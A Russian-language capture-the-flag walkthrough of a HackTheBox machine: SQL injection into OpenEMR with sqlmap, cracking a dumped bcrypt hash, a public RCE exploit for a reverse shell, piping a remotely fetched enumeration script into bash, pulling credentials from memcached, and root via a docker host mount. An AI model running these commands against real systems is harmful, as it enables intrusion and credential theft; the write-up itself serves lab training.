![](https://habrastorage.org/webt/wf/9i/8r/wf9i8rzw6i1pfkq4wbbjyf0ktaa.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.
10.10.10.188 blackfield.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/sk/gx/jb/skgxjb-1-m9litqvbbc0effzvn0.png)
На сервере работают SSH и веб сервер Apache.
![](https://habrastorage.org/webt/l2/63/qj/l263qjosrk_idmgdopyvyg24ats.png)
И на сайте возможна авторизация.
![](https://habrastorage.org/webt/8c/ij/fh/8cijfhuyfvsztdq6rtb71vr1gie.png)
Entry Point
В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.
![](https://habrastorage.org/webt/de/wa/n7/dewan7b0y2viosxjdkcipbcwoba.png)
И авторизовавшись с этими данными, получим только какую-то картинку.
![](https://habrastorage.org/webt/-r/ec/fs/-recfstzbuikkxfsvtfzera7yli.png)
Просматривая сайт дальше, на About странице находим упоминание о HMS.
![](https://habrastorage.org/webt/pc/ii/kc/pciikceuvvdwlztzhe8mdm-youc.png)
Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb
![](https://habrastorage.org/webt/b9/yb/mh/b9ybmht1qmif672bhwyqz4nun5y.png)
Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).
![](https://habrastorage.org/webt/t-/wb/jf/t-wbjfkwztjypaqym-t7vegx-ew.png)
И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.
![](https://habrastorage.org/webt/ut/44/s3/ut44s3b8pl0_ibc4-8xaachqm2o.png)
В коде видим, что нужно указать учетные данные.
![](https://habrastorage.org/webt/c_/au/u3/c_auu3b2lgkbe82f0wiqaguelxi.png)
А в описании к эксплоиту есть ссылка на PoC.
![](https://habrastorage.org/webt/o9/gt/oe/o9gtoewyetnpidsiavom0jbnoxw.png)
Изучая материал по данной ссылке, узнаем о SQL инъекции.
![](https://habrastorage.org/webt/2x/tl/6x/2xtl6x9axufonnmyzggws3jibye.png)
USER
Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.
![](https://habrastorage.org/webt/lg/jy/3d/lgjy3dehd6gfmlc4fp7m4sek6sq.png)
После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.
![](https://habrastorage.org/webt/jf/qk/dd/jfqkdd2drdp6yiogxrw598bmsfc.png)
Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.
sqlmap -r r.req
![](https://habrastorage.org/webt/96/uw/qz/96uwqzwbchol5rw95fi9-dzqbfu.png)
И есть инъекция! Получим все БД.
sqlmap -r r.req --dbs
![](https://habrastorage.org/webt/zt/f2/um/ztf2umsjhndx9pzynzekmjwrmgk.png)
Теперь узнаем таблицы из openemr.
sqlmap -r r.req -D openemr --tables
![](https://habrastorage.org/webt/oo/3h/4y/oo3h4y86ajf2-mfantmogst-5o4.png)
Самую интересную я выделил на изображении, давайте получим данные из нее.
sqlmap -r r.req -D openemr -T users_secure --dump
![](https://habrastorage.org/webt/zp/eu/wq/zpeuwq3bft7_osagpexfpqixig4.png)
И есть хеш bcrypt, давайте узнаем его режим в Hashcat.
hashcat --example | grep -A2 -B2 '\$2a\$'
![](https://habrastorage.org/webt/lk/ty/-v/lkty-v0ibxnye-xzjf1ffrh34gi.png)
А теперь перебираем и находим пароль.
hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force
![](https://habrastorage.org/webt/fl/53/kp/fl53kpivmf18r3krqtmhnpqnvz0.png)
И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.
![](https://habrastorage.org/webt/rl/br/ck/rlbrckaf2k_-bnemb1ifujpm3ey.png)
![](https://habrastorage.org/webt/2_/bm/jv/2_bmjvtryoo0bklosv5k-o6o3zu.png)
Откроем листенер и выполним эксплоит.
![](https://habrastorage.org/webt/0f/zt/pg/0fztpgk47qjginc1uymqzvdghte.png)
Глянем какие есть пользователи.
![](https://habrastorage.org/webt/kg/jv/_l/kgjv_lwi18c3nhlwbdpoqlzefom.png)
Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.
python3 -c 'import pty;pty.spawn("/bin/bash")'
![](https://habrastorage.org/webt/ia/e_/t6/iae_t6csctwlrdxav27j_n6jyps.png)
И получаем первый флаг.
![](https://habrastorage.org/webt/hd/xs/x8/hdxsx8ib-zwuczq3lxt4u9gs8ca.png)
USER2
Для разведки на удаленном хосте используем скрипт LinPEAS.
curl 10.10.15.110/linpeas.sh | /bin/bash
![](https://habrastorage.org/webt/ut/b4/aw/utb4awkgmxr1jxzequkdjmx9pcw.png)
![](https://habrastorage.org/webt/ee/hr/ze/eehrzeou07r-q-jlqecwdxe9nkk.png)
![](https://habrastorage.org/webt/at/ht/rl/athtrli00tm7iorplgqoiv4ascq.png)
![](https://habrastorage.org/webt/ur/s8/_-/urs8_-ajygxfsdusrky9doqzfda.png)
![](https://habrastorage.org/webt/rw/b2/0n/rwb20nkx1idpc5a_7onaywm0gs4.png)
И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab’ы. Давайте подключимся к порту 11211 и запросим их.
telnet localhost 11211
stats slabs
![](https://habrastorage.org/webt/ir/ov/s1/irovs1dibbzjoxh2gy2wws-40pi.png)
Slab’ы делятся на еще более мелкие куски — chunk’и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.
stats cachedump 1 0
![](https://habrastorage.org/webt/kb/bc/6k/kbbc6kqm4ste3obu32max-to_co.png)
Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.
get user
get passwd
![](https://habrastorage.org/webt/ge/e4/0g/gee40gjwrbmfaydfgdf6mtl1mzw.png)
И получаем второго пользователя(можно авторизоваться по SSH).
![](https://habrastorage.org/webt/b_/vz/d0/b_vzd0nas4jms3wc0cosa9kguse.png)
ROOT
Мы уже упоминали докер, давайте посмотрим образы.
docker images
![](https://habrastorage.org/webt/t5/8o/jz/t58ojzeaujbq-j9zzso4b4kvjm8.png)
Есть один образ ubuntu. Давайте примонтируем его.
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
И забираем флаг рута.
![](https://habrastorage.org/webt/h1/ud/m4/h1udm4gxdldyh7g1cv1wcz5hwgc.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.